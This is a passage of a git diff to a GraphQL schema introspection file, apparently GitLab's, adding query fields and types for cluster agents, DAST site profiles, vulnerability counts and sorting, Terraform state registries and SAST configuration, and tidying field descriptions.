}, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pipeline", + "description": "The pipeline after mutation", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "Pipeline", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "ENUM", "name": "PipelineStatusEnum", "description": null, @@ -31879,6 +35718,86 @@ "deprecationReason": null }, { + "name": "clusterAgent", + "description": "Find a single cluster agent by name", + "args": [ + { + "name": "name", + "description": "Name of the cluster agent", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "ClusterAgent", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "clusterAgents", + "description": "Cluster agents associated with the project", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "ClusterAgentConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "complianceFrameworks", "description": "Compliance frameworks associated with the project", "args": [ @@ -32027,6 +35946,33 @@ "deprecationReason": null }, { + "name": "dastSiteProfile", + "description": "DAST Site Profile associated with the project", + "args": [ + { + "name": "id", + "description": "ID of the site profile", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "DastSiteProfileID", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DastSiteProfile", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "dastSiteProfiles", "description": "DAST Site Profiles associated with the project", "args": [ @@ -33468,6 +37414,46 @@ "defaultValue": null }, { + "name": "milestoneTitle", + "description": "Title of the milestone", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "sort", + "description": "Sort merge requests by this criteria", + "type": { + "kind": "ENUM", + "name": "MergeRequestSort", + "ofType": null + }, + "defaultValue": "created_desc" + }, + { + "name": "assigneeUsername", + "description": "Username of the assignee", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "authorUsername", + "description": "Username of the author", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -33999,7 +37985,7 @@ ], "type": { "kind": "OBJECT", - "name": "ProjectMemberConnection", + "name": "MemberInterfaceConnection", "ofType": null }, "isDeprecated": false, @@ -34559,7 +38545,7 @@ }, { "name": "sharedRunnersEnabled", - "description": "Indicates if Shared Runners are enabled for the project", + "description": "Indicates if shared runners are enabled for the project", "args": [ ], @@ -34867,6 +38853,36 @@ "defaultValue": null }, { + "name": "sort", + "description": "List vulnerabilities by sort order", + "type": { + "kind": "ENUM", + "name": "VulnerabilitySort", + "ofType": null + }, + "defaultValue": "severity_desc" + }, + { + "name": "hasResolution", + "description": "Returns only the vulnerabilities which have been resolved on default branch", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "hasIssues", + "description": "Returns only the vulnerabilities which have linked issues", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": null + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -34916,6 +38932,87 @@ "deprecationReason": null }, { + "name": "vulnerabilitiesCountByDay", + "description": "Number of vulnerabilities per day for the project", + "args": [ + { + "name": "startDate", + "description": "First day for which to fetch vulnerability history", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ISO8601Date", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "endDate", + "description": "Last day for which to fetch vulnerability history", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ISO8601Date", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "VulnerabilitiesCountByDayConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "vulnerabilityScanners", "description": "Vulnerability scanners reported on the project vulnerabilties", "args": [ @@ -34970,9 +39067,98 @@ }, { "name": "vulnerabilitySeveritiesCount", - "description": "Counts for each severity of vulnerability of the project", + "description": "Counts for each vulnerability severity in the project", "args": [ - + { + "name": "projectId", + "description": "Filter vulnerabilities by project", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "reportType", + "description": "Filter vulnerabilities by report type", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "VulnerabilityReportType", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "severity", + "description": "Filter vulnerabilities by severity", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "VulnerabilitySeverity", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "state", + "description": "Filter vulnerabilities by state", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "VulnerabilityState", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "scanner", + "description": "Filter vulnerabilities by scanner", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "defaultValue": null + } ], "type": { "kind": "OBJECT", @@ -35133,7 +39319,7 @@ { "kind": "OBJECT", "name": "ProjectMember", - "description": "Represents a Project Member", + "description": "Represents a Project Membership", "fields": [ { "name": "accessLevel", @@ -36538,6 +40724,100 @@ "deprecationReason": null }, { + "name": "instanceStatisticsMeasurements", + "description": "Get statistics on the instance", + "args": [ + { + "name": "identifier", + "description": "The type of measurement/statistics to retrieve", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "MeasurementIdentifier", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "InstanceStatisticsMeasurementConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "issue", + "description": "Find an issue", + "args": [ + { + "name": "id", + "description": "The global ID of the Issue", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "IssueID", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "Issue", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "iteration", "description": "Find an iteration", "args": [ @@ -36684,6 +40964,24 @@ "defaultValue": null }, { + "name": "ids", + "description": "Filter projects by IDs", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + } + }, + "defaultValue": null + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -37080,6 +41378,36 @@ "defaultValue": null }, { + "name": "sort", + "description": "List vulnerabilities by sort order", + "type": { + "kind": "ENUM", + "name": "VulnerabilitySort", + "ofType": null + }, + "defaultValue": "severity_desc" + }, + { + "name": "hasResolution", + "description": "Returns only the vulnerabilities which have been resolved on default branch", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "hasIssues", + "description": "Returns only the vulnerabilities which have linked issues", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": null + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -37301,7 +41629,7 @@ { "kind": "ENUM", "name": "RegistryState", - "description": "State of a Geo registry.", + "description": "State of a Geo registry", "fields": null, "inputFields": null, "interfaces": null, @@ -37597,6 +41925,20 @@ }, "isDeprecated": false, "deprecationReason": null + }, + { + "name": "upcomingRelease", + "description": "Indicates the release is an upcoming release", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null } ], "inputFields": null, @@ -37612,6 +41954,20 @@ "description": "Represents an asset link associated with a release", "fields": [ { + "name": "directAssetUrl", + "description": "Direct asset URL of the link", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "external", "description": "Indicates the link points to an external resource", "args": [ @@ -37979,6 +42335,24 @@ "description": "The connection type for Release.", "fields": [ { + "name": "count", + "description": "Total count of collection", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "edges", "description": "A list of edges.", "args": [ @@ -38880,6 +43254,20 @@ "deprecationReason": null }, { + "name": "lastTestReportState", + "description": "Latest requirement test report state", + "args": [ + + ], + "type": { + "kind": "ENUM", + "name": "TestReportState", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "project", "description": "Project to which the requirement belongs", "args": [ @@ -39277,7 +43665,7 @@ { "kind": "OBJECT", "name": "RequirementStatesCount", - "description": "Counts of requirements by their state.", + "description": "Counts of requirements by their state", "fields": [ { "name": "archived", @@ -39863,7 +44251,7 @@ "fields": [ { "name": "description", - "description": "Analyzer description that is displayed on the form.", + "description": "Analyzer description that is displayed on the form", "args": [ ], @@ -39877,7 +44265,7 @@ }, { "name": "enabled", - "description": "Indicates whether an analyzer is enabled.", + "description": "Indicates whether an analyzer is enabled", "args": [ ], @@ -39891,7 +44279,7 @@ }, { "name": "label", - "description": "Analyzer label used in the config UI.", + "description": "Analyzer label used in the config UI", "args": [ ], @@ -39905,7 +44293,7 @@ }, { "name": "name", - "description": "Name of the analyzer.", + "description": "Name of the analyzer", "args": [ ], @@ -39916,6 +44304,59 @@ }, "isDeprecated": false, "deprecationReason": null + }, + { + "name": "variables", + "description": "List of supported variables", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "SastCiConfigurationEntityConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null } ], "inputFields": null, @@ -40314,6 +44755,106 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "SastCiConfigurationEntityInput", + "description": "Represents an entity in SAST CI configuration", + "fields": null, + "inputFields": [ + { + "name": "field", + "description": "CI keyword of entity", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "defaultValue", + "description": "Default value that is used if value is empty", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "value", + "description": "Current value of the entity", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "SastCiConfigurationInput", + "description": "Represents a CI configuration of SAST", + "fields": null, + "inputFields": [ + { + "name": "global", + "description": "List of global entities related to SAST configuration", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "SastCiConfigurationEntityInput", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "pipeline", + "description": "List of pipeline entities related to SAST configuration", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "SastCiConfigurationEntityInput", + "ofType": null + } + } + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "SastCiConfigurationOptionsEntity", "description": "Represents an entity for options in SAST CI configuration", @@ -40856,7 +45397,7 @@ { "kind": "ENUM", "name": "SecurityScannerType", - "description": "The type of the security scanner.", + "description": "The type of the security scanner", "fields": null, "inputFields": null, "interfaces": null, @@ -40982,7 +45523,7 @@ { "kind": "OBJECT", "name": "SentryDetailedError", - "description": "A Sentry error.", + "description": "A Sentry error", "fields": [ { "name": "count", @@ -41467,7 +46008,7 @@ { "kind": "OBJECT", "name": "SentryError", - "description": "A Sentry error. A simplified version of SentryDetailedError.", + "description": "A Sentry error. A simplified version of SentryDetailedError", "fields": [ { "name": "count", @@ -41790,7 +46331,7 @@ { "kind": "OBJECT", "name": "SentryErrorCollection", - "description": "An object containing a collection of Sentry errors, and a detailed error.", + "description": "An object containing a collection of Sentry errors, and a detailed error", "fields": [ { "name": "detailedError", @@ -41902,7 +46443,7 @@ }, { "name": "sort", - "description": "Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default.", + "description": "Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default", "type": { "kind": "SCALAR", "name": "String", @@ -42105,7 +46646,7 @@ { "kind": "OBJECT", "name": "SentryErrorStackTrace", - "description": "An object containing a stack trace entry for a Sentry error.", + "description": "An object containing a stack trace entry for a Sentry error", "fields": [ { "name": "dateReceived", @@ -42229,7 +46770,7 @@ { "kind": "OBJECT", "name": "SentryErrorStackTraceEntry", - "description": "An object containing a stack trace entry for a Sentry error.", + "description": "An object containing a stack trace entry for a Sentry error", "fields": [ { "name": "col", @@ -42636,6 +47177,12 @@ "deprecationReason": null }, { + "name": "EWM_SERVICE", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "EXTERNAL_WIKI_SERVICE", "description": null, "isDeprecated": false, @@ -44217,8 +48764,253 @@ }, { "kind": "OBJECT", + "name": "TerraformStateRegistry", + "description": "Represents the sync and verification state of a terraform state", + "fields": [ + { + "name": "createdAt", + "description": "Timestamp when the TerraformStateRegistry was created", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "id", + "description": "ID of the TerraformStateRegistry", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "lastSyncFailure", + "description": "Error message during sync of the TerraformStateRegistry", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "lastSyncedAt", + "description": "Timestamp of the most recent successful sync of the TerraformStateRegistry", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "retryAt", + "description": "Timestamp after which the TerraformStateRegistry should be resynced", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "retryCount", + "description": "Number of consecutive failed sync attempts of the TerraformStateRegistry", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "state", + "description": "Sync state of the TerraformStateRegistry", + "args": [ + + ], + "type": { + "kind": "ENUM", + "name": "RegistryState", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "terraformStateId", + "description": "ID of the TerraformState", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "TerraformStateRegistryConnection", + "description": "The connection type for TerraformStateRegistry.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "TerraformStateRegistryEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "TerraformStateRegistry", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "TerraformStateRegistryEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "TerraformStateRegistry", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", "name": "TestReport", - "description": "Represents a requirement test report.", + "description": "Represents a requirement test report", "fields": [ { "name": "author", @@ -44442,6 +49234,50 @@ "possibleTypes": null }, { + "kind": "INTERFACE", + "name": "TimeboxBurnupTimeSeriesInterface", + "description": null, + "fields": [ + { + "name": "burnupTimeSeries", + "description": "Daily scope and completed totals for burnup charts", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "BurnupChartDailyTotals", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": [ + { + "kind": "OBJECT", + "name": "Iteration", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "Milestone", + "ofType": null + } + ] + }, + { "kind": "OBJECT", "name": "Timelog", "description": null, @@ -44479,6 +49315,20 @@ "deprecationReason": null }, { + "name": "note", + "description": "The note where the quick action to add the logged time was executed", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "Note", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "spentAt", "description": "Timestamp of when the time tracked was spent at", "args": [ @@ -44673,7 +49523,7 @@ }, { "name": "author", - "description": "The owner of this todo", + "description": "The author of this todo", "args": [ ], @@ -46877,7 +51727,7 @@ }, { "name": "confidential", - "description": "Indicates if the epic is confidential. Will be ignored if `confidential_epics` feature flag is disabled", + "description": "Indicates if the epic is confidential", "type": { "kind": "SCALAR", "name": "Boolean", @@ -47316,6 +52166,16 @@ "defaultValue": null }, { + "name": "epicId", + "description": "The ID of the parent epic. NULL when removing the association", + "type": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + }, + "defaultValue": null + }, + { "name": "clientMutationId", "description": "A unique identifier for the client performing the mutation.", "type": { @@ -47730,6 +52590,16 @@ "defaultValue": null }, { + "name": "lastTestReportState", + "description": "Creates a test report for the requirement with the given state", + "type": { + "kind": "ENUM", + "name": "TestReportState", + "ofType": null + }, + "defaultValue": null + }, + { "name": "clientMutationId", "description": "A unique identifier for the client performing the mutation.", "type": { @@ -47842,26 +52712,6 @@ "defaultValue": null }, { - "name": "fileName", - "description": "File name of the snippet", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "content", - "description": "Content of the snippet", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - }, - { "name": "description", "description": "Description of the snippet", "type": { @@ -48103,6 +52953,26 @@ "defaultValue": null }, { + "name": "milestoneTitle", + "description": "Title of the milestone", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "sort", + "description": "Sort merge requests by this criteria", + "type": { + "kind": "ENUM", + "name": "MergeRequestSort", + "ofType": null + }, + "defaultValue": "created_desc" + }, + { "name": "projectPath", "description": "The full-path of the project the authored merge requests should be in. Incompatible with projectId.", "type": { @@ -48278,6 +53148,26 @@ "defaultValue": null }, { + "name": "milestoneTitle", + "description": "Title of the milestone", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "sort", + "description": "Sort merge requests by this criteria", + "type": { + "kind": "ENUM", + "name": "MergeRequestSort", + "ofType": null + }, + "defaultValue": "created_desc" + }, + { "name": "projectPath", "description": "The full-path of the project the authored merge requests should be in. Incompatible with projectId.", "type": { @@ -48608,6 +53498,69 @@ "deprecationReason": null }, { + "name": "starredProjects", + "description": "Projects starred by the user", + "args": [ + { + "name": "search", + "description": "Search query", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "ProjectConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "state", "description": "State of the user", "args": [ @@ -48997,6 +53950,16 @@ "possibleTypes": null }, { + "kind": "SCALAR", + "name": "UserID", + "description": "Identifier of User", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "UserPermissions", "description": null, @@ -49608,7 +54571,7 @@ { "kind": "OBJECT", "name": "Vulnerability", - "description": "Represents a vulnerability.", + "description": "Represents a vulnerability", "fields": [ { "name": "description", @@ -49625,6 +54588,24 @@ "deprecationReason": null }, { + "name": "detectedAt", + "description": "Timestamp of when the vulnerability was first detected", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "id", "description": "GraphQL ID of the vulnerability", "args": [ @@ -50077,9 +55058,19 @@ "possibleTypes": null }, { + "kind": "SCALAR", + "name": "VulnerabilityID", + "description": "Identifier of Vulnerability", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "VulnerabilityIdentifier", - "description": "Represents a vulnerability identifier.", + "description": "Represents a vulnerability identifier", "fields": [ { "name": "externalId", @@ -50148,7 +55139,7 @@ { "kind": "OBJECT", "name": "VulnerabilityIssueLink", - "description": "Represents an issue link of a vulnerability.", + "description": "Represents an issue link of a vulnerability", "fields": [ { "name": "id", @@ -50327,7 +55318,7 @@ { "kind": "ENUM", "name": "VulnerabilityIssueLinkType", - "description": "The type of the issue link related to a vulnerability.", + "description": "The type of the issue link related to a vulnerability", "fields": null, "inputFields": null, "interfaces": null, @@ -50962,7 +55953,7 @@ { "kind": "ENUM", "name": "VulnerabilityReportType", - "description": "The type of the security scan that found the vulnerability.", + "description": "The type of the security scan that found the vulnerability", "fields": null, "inputFields": null, "interfaces": null, @@ -51007,9 +55998,111 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "VulnerabilityResolveInput", + "description": "Autogenerated input type of VulnerabilityResolve", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "ID of the vulnerability to be resolveed", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "VulnerabilityID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityResolvePayload", + "description": "Autogenerated return type of VulnerabilityResolve", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "vulnerability", + "description": "The vulnerability after state change", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "Vulnerability", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "VulnerabilityScanner", - "description": "Represents a vulnerability scanner.", + "description": "Represents a vulnerability scanner", "fields": [ { "name": "externalId", @@ -51287,7 +56380,7 @@ { "kind": "ENUM", "name": "VulnerabilitySeverity", - "description": "The severity of the vulnerability.", + "description": "The severity of the vulnerability", "fields": null, "inputFields": null, "interfaces": null, @@ -51333,8 +56426,31 @@ }, { "kind": "ENUM", + "name": "VulnerabilitySort", + "description": "Vulnerability sort values", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "severity_desc", + "description": "Severity in descending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "severity_asc", + "description": "Severity in ascending order", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { + "kind": "ENUM", "name": "VulnerabilityState", - "description": "The state of the vulnerability.", + "description": "The state of the vulnerability", "fields": null, "inputFields": null, "interfaces": null, diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md index 8ba1862b009..fc27298aff2 100644 --- a/doc/api/graphql/reference/index.md +++ b/doc/api/graphql/reference/index.md @@ -16,51 +16,62 @@ fields and methods on a model are available via GraphQL. CAUTION: **Caution:** Fields that are deprecated are marked with **{warning-solid}**. 